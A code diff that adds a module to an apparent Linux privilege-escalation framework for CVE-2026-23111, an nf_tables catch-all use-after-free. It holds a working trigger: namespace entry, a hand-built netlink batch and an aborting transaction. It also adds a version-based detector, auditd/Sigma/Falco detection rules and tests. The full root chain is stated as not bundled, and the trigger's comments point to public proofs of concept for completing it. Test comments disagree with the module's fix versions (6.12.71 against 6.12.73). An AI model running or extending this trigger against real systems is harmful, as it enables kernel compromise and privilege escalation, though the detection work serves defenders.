UAF, observes slabinfo, and + * returns EXPLOIT_FAIL β€” the per-kernel leak + arbitrary-R/W + ROP that + * lands a root shell is NOT bundled (per-build offsets refused), and + * the trigger itself is reconstructed from the public analysis rather + * than VM-verified. It never claims root it did not get. + * + * Affected range (Debian-tracked stable backports of the fix): + * 6.1.x : K >= 6.1.164 (bookworm) + * 6.12.x : K >= 6.12.73 (trixie) + * 6.18.x : K >= 6.18.10 (forky / sid); 7.0+ inherits the fix + * The 5.10 (bullseye) branch is still unfixed as of writing β†’ version- + * only VULNERABLE. Catch-all set elements were added in ~5.13, so the + * vulnerable nft_map_catchall_activate path does not exist below that. + * + * Preconditions: CONFIG_NF_TABLES + CONFIG_USER_NS, and unprivileged + * user-namespace clone permitted (modern Ubuntu's + * apparmor_restrict_unprivileged_userns / a 0 sysctl closes this). + * + * arch_support: x86_64 (the groom + any future finisher are x86_64-tuned). + */ + +#include "skeletonkey_modules.h" +#include "../../core/registry.h" + +#include +#include +#include +#include +#include + +#ifdef __linux__ + +#include "../../core/kernel_range.h" +#include "../../core/host.h" + +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include +#include "../../core/nft_compat.h" /* shims for newer-kernel uapi constants */ + +/* Catch-all set-element flag β€” may be absent from older uapi headers. */ +#ifndef NFT_SET_ELEM_CATCHALL +#define NFT_SET_ELEM_CATCHALL 0x2 +#endif + +/* ------------------------------------------------------------------ + * Kernel-range table. Upstream-stable thresholds (<= the Debian + * package fixes, so the drift checker reports INFO, never TOO_TIGHT). + * security-tracker.debian.org is the source of record. + * ------------------------------------------------------------------ */ +static const struct kernel_patched_from nft_catchall_patched_branches[] = { + {6, 1, 164}, /* 6.1.x (Debian bookworm fixed_version 6.1.164) */ + {6, 12, 73}, /* 6.12.x (Debian trixie fixed_version 6.12.73) */ + {6, 18, 10}, /* 6.18.x (Debian forky / sid fixed_version 6.18.10) */ + /* 7.0+ inherits "patched" via the strictly-newer-than-all-entries + * rule β€” the fix predates the 7.0 branch. */ +}; + +static const struct kernel_range nft_catchall_range = { + .patched_from = nft_catchall_patched_branches, + .n_patched_from = sizeof(nft_catchall_patched_branches) / + sizeof(nft_catchall_patched_branches[0]), +}; + +static bool nf_tables_loaded(void) +{ + FILE *f = fopen("/proc/modules", "r"); + if (!f) return false; + char line[512]; + bool found = false; + while (fgets(line, sizeof line, f)) { + if (strncmp(line, "nf_tables ", 10) == 0) { found = true; break; } + } + fclose(f); + return found; +} + +static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx) +{ + const struct kernel_version *v = ctx->host ? &ctx->host->kernel : NULL; + if (!v || v->major == 0) { + if (!ctx->json) + fprintf(stderr, "[!] nft_catchall: host fingerprint missing kernel " + "version β€” bailing\n"); + return SKELETONKEY_TEST_ERROR; + } + + /* Catch-all set elements (and nft_map_catchall_activate) arrived in + * ~5.13. Below that the vulnerable path does not exist. */ + if (!skeletonkey_host_kernel_at_least(ctx->host, 5, 13, 0)) { + if (!ctx->json) + fprintf(stderr, "[i] nft_catchall: kernel %s predates catch-all set " + "elements (~5.13) β€” vulnerable path absent\n", + v->release); + return SKELETONKEY_OK; + } + + if (kernel_range_is_patched(&nft_catchall_range, v)) { + if (!ctx->json) + fprintf(stderr, "[+] nft_catchall: kernel %s is patched\n", v->release); + return SKELETONKEY_OK; + } + + bool userns_ok = ctx->host ? ctx->host->unprivileged_userns_allowed : false; + if (!ctx->json) { + fprintf(stderr, "[i] nft_catchall: kernel %s in vulnerable range\n", + v->release); + fprintf(stderr, "[i] nft_catchall: unprivileged user_ns clone: %s\n", + userns_ok ? "ALLOWED" : "DENIED"); + fprintf(stderr, "[i] nft_catchall: nf_tables module loaded: %s\n", + nf_tables_loaded() ? "yes" : "no (autoloads on first nft use)"); + } + + if (!userns_ok) { + if (!ctx->json) { + fprintf(stderr, "[+] nft_catchall: kernel vulnerable but unprivileged " + "user_ns clone denied β†’ unprivileged exploit " + "unreachable\n"); + fprintf(stderr, "[i] nft_catchall: still patch β€” a privileged " + "attacker can trigger the abort-path UAF\n"); + } + return SKELETONKEY_PRECOND_FAIL; + } + + if (!ctx->json) + fprintf(stderr, "[!] nft_catchall: VULNERABLE β€” kernel in range AND " + "unprivileged user_ns clone allowed\n"); + return SKELETONKEY_VULNERABLE; +} + +/* ------------------------------------------------------------------ + * userns+netns entry: gain CAP_NET_ADMIN over a private netns so the + * malformed ruleset only touches our own namespace. + * ------------------------------------------------------------------ */ +static int enter_unpriv_namespaces(void) +{ + uid_t uid = getuid(); + gid_t gid = getgid(); + if (unshare(CLONE_NEWUSER | CLONE_NEWNET) < 0) { + perror("[-] unshare(USER|NET)"); + return -1; + } + int f = open("/proc/self/setgroups", O_WRONLY); + if (f >= 0) { (void)!write(f, "deny", 4); close(f); } + char map[64]; + snprintf(map, sizeof map, "0 %u 1\n", uid); + f = open("/proc/self/uid_map", O_WRONLY); + if (f < 0 || write(f, map, strlen(map)) < 0) { + perror("[-] uid_map"); if (f >= 0) close(f); return -1; + } + close(f); + snprintf(map, sizeof map, "0 %u 1\n", gid); + f = open("/proc/self/gid_map", O_WRONLY); + if (f < 0 || write(f, map, strlen(map)) < 0) { + perror("[-] gid_map"); if (f >= 0) close(f); return -1; + } + close(f); + return 0; +} + +/* ------------------------------------------------------------------ + * Minimal dep-free nfnetlink batch builder (same approach as the + * nf_tables module β€” libnftnl validates our malformed input away). + * ------------------------------------------------------------------ */ +#define ALIGN_NL(x) (((x) + 3) & ~3) + +static void put_attr(uint8_t *buf, size_t *off, uint16_t type, + const void *data, size_t len) +{ + struct nlattr *na = (struct nlattr *)(buf + *off); + na->nla_type = type; + na->nla_len = NLA_HDRLEN + len; + if (len) memcpy(buf + *off + NLA_HDRLEN, data, len); + *off += ALIGN_NL(NLA_HDRLEN + len); +} +static void put_attr_u32(uint8_t *buf, size_t *off, uint16_t type, uint32_t v) +{ + uint32_t be = htonl(v); + put_attr(buf, off, type, &be, sizeof be); +} +static void put_attr_str(uint8_t *buf, size_t *off, uint16_t type, const char *s) +{ + put_attr(buf, off, type, s, strlen(s) + 1); +} +static size_t begin_nest(uint8_t *buf, size_t *off, uint16_t type) +{ + size_t at = *off; + struct nlattr *na = (struct nlattr *)(buf + at); + na->nla_type = type | NLA_F_NESTED; + na->nla_len = 0; + *off += NLA_HDRLEN; + return at; +} +static void end_nest(uint8_t *buf, size_t *off, size_t at) +{ + struct nlattr *na = (struct nlattr *)(buf + at); + na->nla_len = (uint16_t)(*off - at); + while ((*off) & 3) buf[(*off)++] = 0; +} + +struct nfgenmsg_local { uint8_t nfgen_family; uint8_t version; uint16_t res_id; }; + +static void put_nft_msg(uint8_t *buf, size_t *off, uint16_t nft_type, + uint16_t flags, uint32_t seq, uint8_t family) +{ + struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + *off); + nlh->nlmsg_len = 0; + nlh->nlmsg_type = (NFNL_SUBSYS_NFTABLES << 8) | nft_type; + nlh->nlmsg_flags = NLM_F_REQUEST | flags; + nlh->nlmsg_seq = seq; + nlh->nlmsg_pid = 0; + *off += NLMSG_HDRLEN; + struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off); + nf->nfgen_family = family; + nf->version = NFNETLINK_V0; + nf->res_id = htons(0); + *off += sizeof(*nf); +} +static void end_msg(uint8_t *buf, size_t *off, size_t msg_start) +{ + struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + msg_start); + nlh->nlmsg_len = (uint32_t)(*off - msg_start); + while ((*off) & 3) buf[(*off)++] = 0; +} +static void put_batch_marker(uint8_t *buf, size_t *off, uint16_t type, uint32_t seq) +{ + size_t at = *off; + struct nlmsghdr *nlh = (struct nlmsghdr *)(buf + at); + nlh->nlmsg_len = 0; + nlh->nlmsg_type = type; + nlh->nlmsg_flags = NLM_F_REQUEST; + nlh->nlmsg_seq = seq; + nlh->nlmsg_pid = 0; + *off += NLMSG_HDRLEN; + struct nfgenmsg_local *nf = (struct nfgenmsg_local *)(buf + *off); + nf->nfgen_family = AF_UNSPEC; + nf->version = NFNETLINK_V0; + nf->res_id = htons(NFNL_SUBSYS_NFTABLES); + *off += sizeof(*nf); + end_msg(buf, off, at); +} + +static const char NFT_TABLE_NAME[] = "skeletonkey_t"; +static const char NFT_CHAIN_NAME[] = "skeletonkey_goto"; /* GOTO target chain */ +static const char NFT_MAP_NAME[] = "skeletonkey_map"; + +static void put_new_table(uint8_t *buf, size_t *off, uint32_t seq) +{ + size_t at = *off; + put_nft_msg(buf, off, NFT_MSG_NEWTABLE, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET); + put_attr_str(buf, off, NFTA_TABLE_NAME, NFT_TABLE_NAME); + end_msg(buf, off, at); +} +/* A regular (non-base) chain that the catch-all GOTO verdict references. + * Once the catch-all element is wrongly (de)activated on abort, this + * chain's use-count is mishandled and it can be freed while referenced. */ +static void put_new_chain(uint8_t *buf, size_t *off, uint32_t seq) +{ + size_t at = *off; + put_nft_msg(buf, off, NFT_MSG_NEWCHAIN, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET); + put_attr_str(buf, off, NFTA_CHAIN_TABLE, NFT_TABLE_NAME); + put_attr_str(buf, off, NFTA_CHAIN_NAME, NFT_CHAIN_NAME); + end_msg(buf, off, at); +} +/* A verdict map (NFT_SET_MAP) whose data type is a verdict, so its + * elements (including the catch-all) carry GOTO/JUMP verdicts. */ +static void put_new_map(uint8_t *buf, size_t *off, uint32_t seq) +{ + size_t at = *off; + put_nft_msg(buf, off, NFT_MSG_NEWSET, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET); + put_attr_str(buf, off, NFTA_SET_TABLE, NFT_TABLE_NAME); + put_attr_str(buf, off, NFTA_SET_NAME, NFT_MAP_NAME); + put_attr_u32(buf, off, NFTA_SET_FLAGS, NFT_SET_MAP); + put_attr_u32(buf, off, NFTA_SET_KEY_TYPE, 13); /* ipv4_addr-ish */ + put_attr_u32(buf, off, NFTA_SET_KEY_LEN, sizeof(uint32_t)); + put_attr_u32(buf, off, NFTA_SET_DATA_TYPE, 0xffffff00); /* "verdict" magic */ + put_attr_u32(buf, off, NFTA_SET_DATA_LEN, sizeof(uint32_t)); + put_attr_u32(buf, off, NFTA_SET_ID, 0x2026); + end_msg(buf, off, at); +} +/* Catch-all element (NFT_SET_ELEM_CATCHALL) whose data is a GOTO verdict + * to NFT_CHAIN_NAME. This is the element nft_map_catchall_activate + * mishandles on abort. */ +static void put_catchall_goto(uint8_t *buf, size_t *off, uint32_t seq) +{ + size_t at = *off; + put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET); + put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME); + put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, NFT_MAP_NAME); + size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS); + size_t el_at = begin_nest(buf, off, 1 /* NFTA_LIST_ELEM */); + /* catch-all: no key, just the CATCHALL flag */ + put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL); + /* data = GOTO verdict referencing our chain by name */ + size_t data_at = begin_nest(buf, off, NFTA_SET_ELEM_DATA); + size_t v_at = begin_nest(buf, off, NFTA_DATA_VERDICT); + put_attr_u32(buf, off, NFTA_VERDICT_CODE, (uint32_t)NFT_GOTO); + put_attr_str(buf, off, NFTA_VERDICT_CHAIN, NFT_CHAIN_NAME); + end_nest(buf, off, v_at); + end_nest(buf, off, data_at); + end_nest(buf, off, el_at); + end_nest(buf, off, list_at); + end_msg(buf, off, at); +} +/* A deliberately-invalid message: references a set that does not exist, + * so the kernel rejects it and ABORTS the whole batch transaction β€” + * running the buggy nft_map_catchall_activate over the active catch-all + * element we just created. */ +static void put_aborting_op(uint8_t *buf, size_t *off, uint32_t seq) +{ + size_t at = *off; + put_nft_msg(buf, off, NFT_MSG_NEWSETELEM, NLM_F_CREATE | NLM_F_ACK, seq, NFPROTO_INET); + put_attr_str(buf, off, NFTA_SET_ELEM_LIST_TABLE, NFT_TABLE_NAME); + put_attr_str(buf, off, NFTA_SET_ELEM_LIST_SET, "skeletonkey_nonexistent"); + size_t list_at = begin_nest(buf, off, NFTA_SET_ELEM_LIST_ELEMENTS); + size_t el_at = begin_nest(buf, off, 1); + put_attr_u32(buf, off, NFTA_SET_ELEM_FLAGS, NFT_SET_ELEM_CATCHALL); + end_nest(buf, off, el_at); + end_nest(buf, off, list_at); + end_msg(buf, off, at); +} + +static int nft_send_batch(int sock, const void *buf, size_t len) +{ + struct sockaddr_nl dst = { .nl_family = AF_NETLINK }; + struct iovec iov = { .iov_base = (void *)buf, .iov_len = len }; + struct msghdr m = { + .msg_name = &dst, .msg_namelen = sizeof dst, + .msg_iov = &iov, .msg_iovlen = 1, + }; + if (sendmsg(sock, &m, 0) < 0) { perror("[-] sendmsg"); return -1; } + char rbuf[8192]; + for (int i = 0; i < 8; i++) { + ssize_t r = recv(sock, rbuf, sizeof rbuf, MSG_DONTWAIT); + if (r <= 0) break; + } + return 0; +} + +static long slabinfo_active(const char *slab) +{ + FILE *f = fopen("/proc/slabinfo", "r"); + if (!f) return -1; + char line[512]; + long active = -1; + while (fgets(line, sizeof line, f)) { + if (strncmp(line, slab, strlen(slab)) == 0 && line[strlen(slab)] == ' ') { + long a; + if (sscanf(line + strlen(slab), " %ld", &a) == 1) active = a; + break; + } + } + fclose(f); + return active; +} + +static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx) +{ + skeletonkey_result_t pre = nft_catchall_detect(ctx); + if (pre != SKELETONKEY_VULNERABLE) { + fprintf(stderr, "[-] nft_catchall: detect() says not vulnerable; refusing\n"); + return pre; + } + bool is_root = ctx->host ? ctx->host->is_root : (geteuid() == 0); + if (is_root) { + fprintf(stderr, "[i] nft_catchall: already running as root\n"); + return SKELETONKEY_OK; + } + + if (!ctx->json) + fprintf(stderr, "[*] nft_catchall: primitive-only run β€” builds a map with a " + "catch-all GOTO element and provokes an aborting batch to " + "drive the nft_map_catchall_activate UAF, then stops. The " + "per-kernel leak + R/W + ROP root-pop is NOT bundled.\n"); + + /* Fork-isolated: a KASAN-enabled vulnerable kernel will panic on the + * double-handling; isolating means the dispatcher survives. */ + pid_t child = fork(); + if (child < 0) { perror("[-] fork"); return SKELETONKEY_TEST_ERROR; } + + if (child == 0) { + if (enter_unpriv_namespaces() < 0) _exit(20); + int sock = socket(AF_NETLINK, SOCK_RAW | SOCK_CLOEXEC, NETLINK_NETFILTER); + if (sock < 0) { perror("[-] socket(NETLINK_NETFILTER)"); _exit(21); } + struct sockaddr_nl src = { .nl_family = AF_NETLINK }; + if (bind(sock, (struct sockaddr *)&src, sizeof src) < 0) { + perror("[-] bind"); close(sock); _exit(22); + } + int rcvbuf = 1 << 20; + setsockopt(sock, SOL_SOCKET, SO_RCVBUF, &rcvbuf, sizeof rcvbuf); + + uint8_t *batch = calloc(1, 16 * 1024); + if (!batch) { close(sock); _exit(23); } + uint32_t seq = (uint32_t)time(NULL); + + /* Batch 1 (commits): table + GOTO-target chain + verdict map + + * catch-all GOTO element. */ + size_t off = 0; + put_batch_marker(batch, &off, NFNL_MSG_BATCH_BEGIN, seq++); + put_new_table(batch, &off, seq++); + put_new_chain(batch, &off, seq++); + put_new_map(batch, &off, seq++); + put_catchall_goto(batch, &off, seq++); + put_batch_marker(batch, &off, NFNL_MSG_BATCH_END, seq++); + if (!ctx->json) + fprintf(stderr, "[*] nft_catchall: sending setup batch (%zu bytes)\n", off); + if (nft_send_batch(sock, batch, off) < 0) { + free(batch); close(sock); _exit(24); + } + + long before = slabinfo_active("nft_chain"); + if (before < 0) before = slabinfo_active("kmalloc-cg-256"); + + /* Batch 2 (aborts): a valid DELCHAIN-ish operation alongside an + * invalid op so the whole transaction rolls back, running + * nft_map_catchall_activate over the active catch-all element. */ + size_t off2 = 0; + put_batch_marker(batch, &off2, NFNL_MSG_BATCH_BEGIN, seq++); + put_catchall_goto(batch, &off2, seq++); /* re-touch the catch-all elem */ + put_aborting_op(batch, &off2, seq++); /* invalid β†’ abort the batch */ + put_batch_marker(batch, &off2, NFNL_MSG_BATCH_END, seq++); + if (!ctx->json) + fprintf(stderr, "[*] nft_catchall: firing aborting batch (%zu bytes)\n", off2); + nft_send_batch(sock, batch, off2); + usleep(50 * 1000); + + long after = slabinfo_active("nft_chain"); + if (after < 0) after = slabinfo_active("kmalloc-cg-256"); + if (!ctx->json) + fprintf(stderr, "[i] nft_catchall: nft_chain/cg-256 active: %ld β†’ %ld\n", + before, after); + + free(batch); + close(sock); + _exit(100); /* honest: trigger attempted, R/W not completed */ + } + + int status; + waitpid(child, &status, 0); + if (!WIFEXITED(status)) { + if (!ctx->json) + fprintf(stderr, "[!] nft_catchall: child died by signal %d β€” the " + "abort-path UAF likely fired (KASAN oops can manifest " + "as a child signal)\n", WTERMSIG(status)); + return SKELETONKEY_EXPLOIT_FAIL; + } + int rc = WEXITSTATUS(status); + if (rc == 100) { + if (!ctx->json) { + fprintf(stderr, "[!] nft_catchall: abort-path trigger attempted " + "(catch-all GOTO map + aborting batch). The full kernel " + "R/W + modprobe_path ROP is NOT bundled, and this " + "trigger is reconstructed from public analysis, not " + "VM-verified β€” honest EXPLOIT_FAIL.\n"); + fprintf(stderr, "[i] nft_catchall: to complete: port the FuzzingLabs / " + "public PoC leak + cross-cache groom + modprobe_path " + "overwrite for CVE-2026-23111.\n"); + } + return SKELETONKEY_EXPLOIT_FAIL; + } + if (!ctx->json) + fprintf(stderr, "[-] nft_catchall: trigger setup failed (child rc=%d)\n", rc); + return SKELETONKEY_EXPLOIT_FAIL; +} + +#else /* !__linux__ */ + +static skeletonkey_result_t nft_catchall_detect(const struct skeletonkey_ctx *ctx) +{ + if (!ctx->json) + fprintf(stderr, "[i] nft_catchall: Linux-only module " + "(nf_tables catch-all abort UAF via nfnetlink) β€” not applicable here\n"); + return SKELETONKEY_PRECOND_FAIL; +} +static skeletonkey_result_t nft_catchall_exploit(const struct skeletonkey_ctx *ctx) +{ + (void)ctx; + fprintf(stderr, "[-] nft_catchall: Linux-only module β€” cannot run here\n"); + return SKELETONKEY_PRECOND_FAIL; +} + +#endif /* __linux__ */ + +/* ----- Embedded detection rules ----- */ +static const char nft_catchall_auditd[] = + "# nf_tables catch-all abort UAF (CVE-2026-23111) β€” auditd rules\n" + "# Canonical shape: unprivileged unshare(CLONE_NEWUSER|CLONE_NEWNET)\n" + "# then nfnetlink batches building a verdict map with a catch-all\n" + "# GOTO element and an aborting transaction. Legit userns+nft (docker\n" + "# rootless, firewalld) will also trip β€” tune per environment.\n" + "-a always,exit -F arch=b64 -S unshare -F auid>=1000 -F auid!=4294967295 -k skeletonkey-nft-catchall\n" + "-a always,exit -F arch=b64 -S setresuid -F a0=0 -F a1=0 -F a2=0 -k skeletonkey-nft-catchall-priv\n"; + +static const char nft_catchall_sigma[] = + "title: Possible CVE-2026-23111 nf_tables catch-all abort UAF\n" + "id: 3e8a1c47-skeletonkey-nft-catchall\n" + "status: experimental\n" + "description: |\n" + " Detects an unprivileged user creating a user namespace then driving\n" + " nftables. CVE-2026-23111 abuses an inverted condition in\n" + " nft_map_catchall_activate on transaction abort to UAF a chain still\n" + " referenced by a catch-all GOTO verdict. False positives: rootless\n" + " containers / firewalld using userns + nft. A previously-unprivileged\n" + " process gaining euid 0 is the smoking gun.\n" + "logsource: {product: linux, service: auditd}\n" + "detection:\n" + " userns: {type: 'SYSCALL', syscall: 'unshare', a0: 0x10000000}\n" + " uid0: {type: 'SYSCALL', syscall: 'setresuid', auid|expression: '!= 0'}\n" + " condition: userns and uid0\n" + "level: high\n" + "tags: [attack.privilege_escalation, attack.t1068, cve.2026.23111]\n"; + +static const char nft_catchall_falco[] = + "- rule: nf_tables catch-all abort UAF batch by non-root (CVE-2026-23111)\n" + " desc: |\n" + " Non-root sendmsg on NETLINK_NETFILTER inside a user namespace,\n" + " delivering nfnetlink batches that build a verdict map with a\n" + " catch-all GOTO element and then abort a transaction. CVE-2026-23111\n" + " nft_map_catchall_activate use-after-free. False positives: rootless\n" + " container / firewall tooling.\n" + " condition: >\n" + " evt.type = sendmsg and fd.sockfamily = AF_NETLINK and not user.uid = 0\n" + " output: >\n" + " nfnetlink batch from non-root (possible CVE-2026-23111 catch-all UAF)\n" + " (user=%user.name pid=%proc.pid)\n" + " priority: HIGH\n" + " tags: [network, mitre_privilege_escalation, T1068, cve.2026.23111]\n"; + +const struct skeletonkey_module nft_catchall_module = { + .name = "nft_catchall", + .cve = "CVE-2026-23111", + .summary = "nf_tables nft_map_catchall_activate abort-path UAF (inverted condition) β†’ chain UAF via catch-all GOTO map", + .family = "nf_tables", + .kernel_range = "5.13 <= K (catch-all elems); fixed 6.1.164 / 6.12.73 / 6.18.10 (Debian backports of commit f41c5d1); 7.0+ inherits; 5.10 branch still unfixed", + .detect = nft_catchall_detect, + .exploit = nft_catchall_exploit, + .mitigate = NULL, /* mitigation: upgrade kernel; OR sysctl kernel.unprivileged_userns_clone=0 */ + .cleanup = NULL, /* trigger runs in a throwaway userns+netns; no host artifacts */ + .detect_auditd = nft_catchall_auditd, + .detect_sigma = nft_catchall_sigma, + .detect_yara = NULL, /* behavioural (syscall/netlink) bug β€” no file artifact */ + .detect_falco = nft_catchall_falco, + .opsec_notes = "detect() consults the shared host fingerprint for the kernel version (Debian backports 6.1.164/6.12.73/6.18.10) and additionally requires unprivileged user_ns clone β€” a vulnerable kernel with userns locked down (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that enters unshare(CLONE_NEWUSER|CLONE_NEWNET), opens NETLINK_NETFILTER, builds a verdict map (NFT_SET_MAP) with a catch-all element (NFT_SET_ELEM_CATCHALL) carrying a GOTO verdict to a chain, then sends an aborting batch to drive nft_map_catchall_activate over the active catch-all element; it observes nft_chain/kmalloc-cg-256 slabinfo and returns EXPLOIT_FAIL (primitive-only; reconstructed trigger, not VM-verified). The per-kernel leak + arbitrary-R/W + modprobe_path ROP is NOT bundled. Audit-visible via unshare + socket(NETLINK_NETFILTER) + sendmsg batches; KASAN double-free oops on vulnerable kernels, silent otherwise. No persistent files (throwaway namespaces).", + .arch_support = "x86_64", +}; + +void skeletonkey_register_nft_catchall(void) +{ + skeletonkey_register(&nft_catchall_module); +} diff --git a/modules/nft_catchall_cve_2026_23111/skeletonkey_modules.h b/modules/nft_catchall_cve_2026_23111/skeletonkey_modules.h new file mode 100644 index 0000000..a082e24 --- /dev/null +++ b/modules/nft_catchall_cve_2026_23111/skeletonkey_modules.h @@ -0,0 +1,12 @@ +/* + * nft_catchall_cve_2026_23111 β€” SKELETONKEY module registry hook + */ + +#ifndef NFT_CATCHALL_SKELETONKEY_MODULES_H +#define NFT_CATCHALL_SKELETONKEY_MODULES_H + +#include "../../core/module.h" + +extern const struct skeletonkey_module nft_catchall_module; + +#endif diff --git a/skeletonkey.c b/skeletonkey.c index 9882c97..dc36d2b 100644 --- a/skeletonkey.c +++ b/skeletonkey.c @@ -35,7 +35,7 @@ #include #include -#define SKELETONKEY_VERSION "0.9.10" +#define SKELETONKEY_VERSION "0.9.11" static const char BANNER[] = "\n" @@ -1018,6 +1018,7 @@ static int module_safety_rank(const char *n) if (!strcmp(n, "ptrace_pidfd")) return 84; /* pidfd_getfd fd-steal race; ported, exploit NOT VM-verified */ if (!strcmp(n, "cifswitch")) return 86; /* structural cifs.spnego keyring trust; ported, full chain NOT bundled/VM-verified */ if (!strcmp(n, "sudo_samedit")) return 80; /* heap-tuned, may crash sudo */ + if (!strcmp(n, "nft_catchall")) return 35; /* reconstructed nf_tables abort UAF; may KASAN-oops, primitive-only/not VM-verified */ if (!strcmp(n, "af_unix_gc")) return 25; /* kernel race, low win% */ if (!strcmp(n, "stackrot")) return 15; /* very low win% */ if (!strcmp(n, "entrybleed")) return 0; /* leak only, not LPE */ diff --git a/tests/test_detect.c b/tests/test_detect.c index 0384aa4..be105ee 100644 --- a/tests/test_detect.c +++ b/tests/test_detect.c @@ -71,6 +71,7 @@ extern const struct skeletonkey_module nft_pipapo_module; extern const struct skeletonkey_module ptrace_pidfd_module; extern const struct skeletonkey_module sudo_host_module; extern const struct skeletonkey_module cifswitch_module; +extern const struct skeletonkey_module nft_catchall_module; static int g_pass = 0; static int g_fail = 0; @@ -842,6 +843,54 @@ static void run_all(void) SKELETONKEY_PRECOND_FAIL); unsetenv("SKELETONKEY_CIFS_ASSUME_PRESENT"); + /* ── nft_catchall (CVE-2026-23111) ─────────────────────────── + * Version-gated: predates-gate at catch-all set elements (~5.13), + * then Debian backports 6.1.164 / 6.12.71 / 7.0.10, PLUS unprivileged + * user_ns clone required (else PRECOND_FAIL). h_kernel_6_12 allows + * userns; h_kernel_5_14_no_userns denies it. */ + + /* 5.12.50 predates catch-all set elements (~5.13) β†’ OK */ + struct skeletonkey_host h_nca_512 = + mk_host(h_kernel_6_12, 5, 12, 50, "5.12.50-test"); + run_one("nft_catchall: 5.12.50 predates catch-all (~5.13) β†’ OK", + &nft_catchall_module, &h_nca_512, + SKELETONKEY_OK); + + /* 6.1.164 exact backport β†’ OK via patch table */ + struct skeletonkey_host h_nca_61164 = + mk_host(h_kernel_6_12, 6, 1, 164, "6.1.164-test"); + run_one("nft_catchall: 6.1.164 (exact backport) β†’ OK via patch table", + &nft_catchall_module, &h_nca_61164, + SKELETONKEY_OK); + + /* 7.1.0 newer than every entry β†’ mainline-inherited fix β†’ OK */ + struct skeletonkey_host h_nca_710 = + mk_host(h_kernel_6_12, 7, 1, 0, "7.1.0-test"); + run_one("nft_catchall: 7.1.0 above all backports β†’ OK (mainline inherit)", + &nft_catchall_module, &h_nca_710, + SKELETONKEY_OK); + + /* 6.1.163 (one below the 6.1.164 backport) + userns β†’ VULNERABLE */ + struct skeletonkey_host h_nca_61163 = + mk_host(h_kernel_6_12, 6, 1, 163, "6.1.163-test"); + run_one("nft_catchall: 6.1.163 + userns allowed β†’ VULNERABLE", + &nft_catchall_module, &h_nca_61163, + SKELETONKEY_VULNERABLE); + + /* 6.12.70 (one below the 6.12.71 backport) + userns β†’ VULNERABLE */ + struct skeletonkey_host h_nca_61270 = + mk_host(h_kernel_6_12, 6, 12, 70, "6.12.70-test"); + run_one("nft_catchall: 6.12.70 + userns allowed β†’ VULNERABLE", + &nft_catchall_module, &h_nca_61270, + SKELETONKEY_VULNERABLE); + + /* same vulnerable kernel but unprivileged userns denied β†’ PRECOND_FAIL */ + struct skeletonkey_host h_nca_nouserns = + mk_host(h_kernel_5_14_no_userns, 6, 1, 163, "6.1.163-nouserns-test"); + run_one("nft_catchall: 6.1.163 but userns denied β†’ PRECOND_FAIL", + &nft_catchall_module, &h_nca_nouserns, + SKELETONKEY_PRECOND_FAIL); + /* ── coverage report ───────────────────────────────────────── * Iterate the runtime registry (populated by skeletonkey_register_* * calls in main()) and warn for any module that was not touched diff --git a/tools/verify-vm/targets.yaml b/tools/verify-vm/targets.yaml index 2528b1b..b7cf5f4 100644 --- a/tools/verify-vm/targets.yaml +++ b/tools/verify-vm/targets.yaml @@ -314,3 +314,13 @@ cifswitch: verified: partial # detect() + add_key primitive confirmed; full root-pop + patched-kernel discriminator pending verified_on: "2026-06-08 β€” Ubuntu 24.04.4 LTS, kernel 6.8.0-117-generic, QEMU/HVF (x86_64)" notes: "CVE-2026-46243 'CIFSwitch'; cifs.spnego key type trusts userspace-forged authority fields (Asim Manizada, 2026-05-28). Fixed 5.10.257 / 6.1.174 / 6.12.90 / 7.0.10 (Debian backports of commit 3da1fdf4efbc, mainline 7.1-rc5); a ~19-year-old bug below those. PARTIALLY VM-VERIFIED 2026-06-08 on Ubuntu 24.04.4 / 6.8.0-117 (QEMU/HVF): (1) `modprobe cifs` registers the cifs.spnego key type (dmesg 'Key type cifs.spnego registered') β€” cifs-utils not required to reach the primitive; (2) an INDEPENDENT python ctypes add_key('cifs.spnego', forged uid/creduid/upcall_target) was ACCEPTED (serial 374940108; a `user`-key control also accepted), and the module's own exploit() reported 'primitive CONFIRMED' (serial 294765294) then honest EXPLOIT_FAIL; (3) detect() correctly returned PRECOND_FAIL with cifs-utils absent, and VULNERABLE under SKELETONKEY_CIFS_ASSUME_PRESENT=1. STILL PENDING: (a) a PATCHED kernel (>=6.12.90 / 7.0.10) to prove add_key is REJECTED there (i.e. that the probe discriminates fixed-from-vulnerable, not merely that the key type always allows userspace creation), and (b) the full user+mount-namespace + malicious-NSS root-pop, which is not bundled. Reproduce via tools/verify-vm or the QEMU offline harness used on 2026-06-08 (cloud image + payload iso, no guest networking needed)." + +# ── nft_catchall (CVE-2026-23111) addition ────────────────────────── + +nft_catchall: + box: ubuntu2204 + kernel_pkg: "" + mainline_version: "6.1.163" # one below the 6.1.164 backport; userns required + kernel_version: "6.1.163" + expect_detect: VULNERABLE + notes: "CVE-2026-23111; nf_tables nft_map_catchall_activate abort-path UAF (inverted '!'). Public reproduction by FuzzingLabs; fixed upstream f41c5d1, Debian backports 6.1.164 (bookworm) / 6.12.73 (trixie) / 6.18.10 (sid); 5.10/bullseye still unfixed. detect() version-gates (catch-all set elements ~5.13; thresholds 6.1.164/6.12.73/6.18.10) AND requires unprivileged user_ns clone β€” a vulnerable kernel with userns locked (apparmor_restrict_unprivileged_userns / sysctl 0) is PRECOND_FAIL. exploit() forks an isolated child that builds a verdict map with a catch-all GOTO element and provokes an aborting batch to drive the abort-path UAF, observes nft_chain/cg-256 slabinfo, returns EXPLOIT_FAIL (primitive-only). The per-kernel leak + R/W + modprobe_path ROP is NOT bundled, and the trigger is 